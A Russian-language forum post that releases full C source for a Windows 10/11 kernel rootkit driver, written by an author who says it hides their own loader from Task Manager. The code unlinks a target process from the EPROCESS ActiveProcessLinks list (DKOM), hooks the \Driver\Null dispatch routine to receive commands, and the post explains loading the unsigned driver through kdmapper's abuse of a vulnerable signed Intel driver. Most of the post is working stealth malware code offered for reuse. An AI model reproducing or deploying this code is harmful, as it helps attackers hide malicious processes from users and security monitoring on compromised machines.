Исходник Скрываем процесс от диспетчера задач: DKOM драйвер + исходники (Win10/11)

opmbaby

Новичок
Автор темы
1
2
Привет жители форума!

Решил набросать простенький драйвер для скрытия своего лоадера от диспетчера задач и поделиться наработками. Задача стояла конкретная: сделать так, чтобы процесс просто исчез из списка, но продолжал работать.
В итоге остановился на классическом DKOM (Direct Kernel Object Manipulation). Суть метода проста — мы просто "выкусываем" наш процесс из двусвязного списка ActiveProcessLinks, который находится в структуре EPROCESS. Система продолжает планировать потоки процесса, но инструменты мониторинга, которые бегают по этому списку (как Task Manager), его больше не видят.


Поиск оффсетов

Самая большая боль новичков — хардкод оффсетов. Обновилась винда — драйвер упал в BSOD. Поэтому я решил искать оффсет ActiveProcessLinks динамически.
Идея такая: берем системный процесс (у него PID всегда 4) и сканируем его EPROCESS. Мы знаем, что PID лежит где-то в начале, а ActiveProcessLinks — это список.
Вот пример реализации:

C:
ULONG GetActiveProcessLinksOffset() {
    PEPROCESS SystemProcess = PsInitialSystemProcess;
    if (!SystemProcess) return 0;

    // Сканируем первую страницу EPROCESS
    for (int i = 0x80; i < 0x1000; i += sizeof(ULONG_PTR)) {
        // Ищем PID 4 (System)
        if (*(HANDLE*)((PUCHAR)SystemProcess + i) == (HANDLE)4) {
            PLIST_ENTRY ListEntry = (PLIST_ENTRY)((PUCHAR)SystemProcess + i + sizeof(ULONG_PTR));
            
            // Проверяем валидность указателей списка (Flink и Blink)
            if (MmIsAddressValid(ListEntry) &&
                MmIsAddressValid(ListEntry->Flink) &&
                MmIsAddressValid(ListEntry->Blink)) {
                
                // Проверка целостности двусвязного списка
                if (ListEntry->Flink->Blink == ListEntry &&
                    ListEntry->Blink->Flink == ListEntry) {
                    
                    return (ULONG)i + sizeof(ULONG_PTR);
                }
            }
        }
    }
    return 0;
}
Здесь мы просто перебираем память, пока не найдем что-то похожее на PID 4, за которым сразу идет валидный LIST_ENTRY. Работает надежно на Win10/11.

Скрытие процесса (Unlink)

Когда оффсет найден, само скрытие — дело техники. Нам нужно изменить указатели соседних элементов так, чтобы они указывали друг на друга, минуя наш процесс.
C:
void UnlinkProcess(PEPROCESS Process, ULONG Offset) {
    if (Offset == 0) return;

    PLIST_ENTRY ListEntry = (PLIST_ENTRY)((ULONG_PTR)Process + Offset);
    
    // Стандартный алгоритм удаления из двусвязного списка
    if (ListEntry->Flink && ListEntry->Blink) {
        ListEntry->Blink->Flink = ListEntry->Flink;
        ListEntry->Flink->Blink = ListEntry->Blink;
        
        // Замыкаем на себя, чтобы не крашнуть при обращении к памяти процесса
        ListEntry->Flink = ListEntry;
        ListEntry->Blink = ListEntry;
    }
}

Маппинг драйвера

Я использую kdmapper. Это утилита, которая использует уязвимость в драйвере Intel Network Adapter Diagnostic Driver (iqvw64e.sys). Суть в том, что этот подписанный драйвер позволяет читать/писать произвольную память ядра и выделять там память. kdmapper использует это, чтобы вручную загрузить наш неподписанный драйвер в память ядра (manual mapping), выполнить релокации и вызвать точку входа. Для системы это выглядит как будто драйвера и нет, он просто висит в памяти. Но есть нюанс: так как драйвер не загружен официально, у нас нет DriverObject. В коде я предусмотрел этот момент. Если DriverObject не передан (что происходит при маппинге), драйвер хукает `\Driver\Null`, чтобы мы могли отправлять ему IOCTL запросы даже без создания официального Device Object.

Полезные ресурсы

Если будете копать глубже, очень рекомендую Vergilius Project. Там можно посмотреть структуры EPROCESS для разных версий Windows, чтобы понимать, что и где лежит. Официальная документация Microsoft по WDK тоже пригодилась для понимания работы с IRP и DeviceIoControl, хотя для внутренних структур ядра она бесполезна.
C:
#include "driver.h"

ULONG GetActiveProcessLinksOffset() {
    PEPROCESS SystemProcess = PsInitialSystemProcess;
    if (!SystemProcess) return 0;

    for (int i = 0x80; i < 0x1000; i += sizeof(ULONG_PTR)) {
        if (*(HANDLE*)((PUCHAR)SystemProcess + i) == (HANDLE)4) {
            PLIST_ENTRY ListEntry = (PLIST_ENTRY)((PUCHAR)SystemProcess + i + sizeof(ULONG_PTR));
            
            if (MmIsAddressValid(ListEntry) &&
                MmIsAddressValid(ListEntry->Flink) &&
                MmIsAddressValid(ListEntry->Blink)) {
                
                if (ListEntry->Flink->Blink == ListEntry &&
                    ListEntry->Blink->Flink == ListEntry) {
                    
                    return (ULONG)i + sizeof(ULONG_PTR);
                }
            }
        }
    }
    return 0;
}

void UnlinkProcess(PEPROCESS Process, ULONG Offset) {
    if (Offset == 0) return;

    PLIST_ENTRY ListEntry = (PLIST_ENTRY)((ULONG_PTR)Process + Offset);
    
    if (ListEntry->Flink && ListEntry->Blink) {
        ListEntry->Blink->Flink = ListEntry->Flink;
        ListEntry->Flink->Blink = ListEntry->Blink;
        
        ListEntry->Flink = ListEntry;
        ListEntry->Blink = ListEntry;
    }
}

NTSTATUS CreateClose(PDEVICE_OBJECT DeviceObject, PIRP Irp) {
    UNREFERENCED_PARAMETER(DeviceObject);
    Irp->IoStatus.Status = STATUS_SUCCESS;
    Irp->IoStatus.Information = 0;
    IoCompleteRequest(Irp, IO_NO_INCREMENT);
    return STATUS_SUCCESS;
}

NTSTATUS DeviceControl(PDEVICE_OBJECT DeviceObject, PIRP Irp) {
    UNREFERENCED_PARAMETER(DeviceObject);
    PIO_STACK_LOCATION Stack = IoGetCurrentIrpStackLocation(Irp);
    NTSTATUS Status = STATUS_SUCCESS;
    SIZE_T BytesIO = 0;

    switch (Stack->Parameters.DeviceIoControl.IoControlCode) {
        case IOCTL_HIDE_PROCESS: {
             if (Stack->Parameters.DeviceIoControl.InputBufferLength < sizeof(HIDE_REQUEST)) {
                Status = STATUS_BUFFER_TOO_SMALL;
                break;
            }
            PHIDE_REQUEST Req = (PHIDE_REQUEST)Irp->AssociatedIrp.SystemBuffer;
            PEPROCESS Process;
            if (NT_SUCCESS(PsLookupProcessByProcessId((HANDLE)Req->Pid, &Process))) {
                ULONG LinkOffset = GetActiveProcessLinksOffset();
                if (LinkOffset != 0) UnlinkProcess(Process, LinkOffset);
                ObDereferenceObject(Process);
            }
            BytesIO = sizeof(HIDE_REQUEST);
            break;
        }
        default:
            Status = STATUS_INVALID_DEVICE_REQUEST;
            break;
    }

    Irp->IoStatus.Status = Status;
    Irp->IoStatus.Information = BytesIO;
    IoCompleteRequest(Irp, IO_NO_INCREMENT);
    return Status;
}

PDRIVER_DISPATCH OriginalDeviceControl = NULL;

NTSTATUS HookedDeviceControl(PDEVICE_OBJECT DeviceObject, PIRP Irp) {
    PIO_STACK_LOCATION Stack = IoGetCurrentIrpStackLocation(Irp);
    ULONG IoControlCode = Stack->Parameters.DeviceIoControl.IoControlCode;

    if (IoControlCode == IOCTL_HIDE_PROCESS) {
        return DeviceControl(DeviceObject, Irp);
    }

    if (OriginalDeviceControl) {
        return OriginalDeviceControl(DeviceObject, Irp);
    }
    
    Irp->IoStatus.Status = STATUS_INVALID_DEVICE_REQUEST;
    IoCompleteRequest(Irp, IO_NO_INCREMENT);
    return STATUS_INVALID_DEVICE_REQUEST;
}

void HookDriver(const wchar_t* DriverName) {
    UNICODE_STRING UniName;
    RtlInitUnicodeString(&UniName, DriverName);
    
    PDRIVER_OBJECT DriverObject = NULL;
    NTSTATUS Status = ObReferenceObjectByName(&UniName, OBJ_CASE_INSENSITIVE, NULL, 0, *IoDriverObjectType, KernelMode, NULL, (PVOID*)&DriverObject);
    
    if (NT_SUCCESS(Status) && DriverObject) {
        OriginalDeviceControl = DriverObject->MajorFunction[IRP_MJ_DEVICE_CONTROL];
        DriverObject->MajorFunction[IRP_MJ_DEVICE_CONTROL] = HookedDeviceControl;
        
        ObDereferenceObject(DriverObject);
    }
}

NTSTATUS DriverEntry(PDRIVER_OBJECT DriverObject, PUNICODE_STRING RegistryPath) {
    if (DriverObject) {
        UNICODE_STRING DevName, SymName;
        PDEVICE_OBJECT DeviceObject;
        
        RtlInitUnicodeString(&DevName, DEVICE_NAME);
        NTSTATUS Status = IoCreateDevice(DriverObject, 0, &DevName, FILE_DEVICE_UNKNOWN, FILE_DEVICE_SECURE_OPEN, FALSE, &DeviceObject);
        
        if (NT_SUCCESS(Status)) {
            RtlInitUnicodeString(&SymName, DOS_DEVICE_NAME);
            IoCreateSymbolicLink(&SymName, &DevName);
            
            DriverObject->MajorFunction[IRP_MJ_CREATE] = CreateClose;
            DriverObject->MajorFunction[IRP_MJ_CLOSE] = CreateClose;
            DriverObject->MajorFunction[IRP_MJ_DEVICE_CONTROL] = DeviceControl;
            DriverObject->DriverUnload = NULL;
            
            return STATUS_SUCCESS;
        }
    }

    HookDriver(L"\\Driver\\Null");

    PHIDE_REQUEST Request = (PHIDE_REQUEST)RegistryPath;

    if (!Request || (ULONG64)Request < 0xFFFF000000000000) {
        ULONG LegacyPid = (ULONG)(ULONG_PTR)RegistryPath;
        if (LegacyPid > 4 && LegacyPid < 100000) {
             PEPROCESS Process;
             if (NT_SUCCESS(PsLookupProcessByProcessId((HANDLE)LegacyPid, &Process))) {
                 ULONG LinkOffset = GetActiveProcessLinksOffset();
                 if (LinkOffset != 0) UnlinkProcess(Process, LinkOffset);
                 ObDereferenceObject(Process);
             }
        }
        return STATUS_SUCCESS;
    }

    if (Request->Pid != 0) {
        PEPROCESS Process;
        if (NT_SUCCESS(PsLookupProcessByProcessId((HANDLE)Request->Pid, &Process))) {
            ULONG LinkOffset = GetActiveProcessLinksOffset();
            if (LinkOffset != 0) UnlinkProcess(Process, LinkOffset);
            ObDereferenceObject(Process);
        }
    }

    return STATUS_SUCCESS;
}


Это моя первая статья так что прошу без хейта. Надеюсь, кому-то пригодится для старта!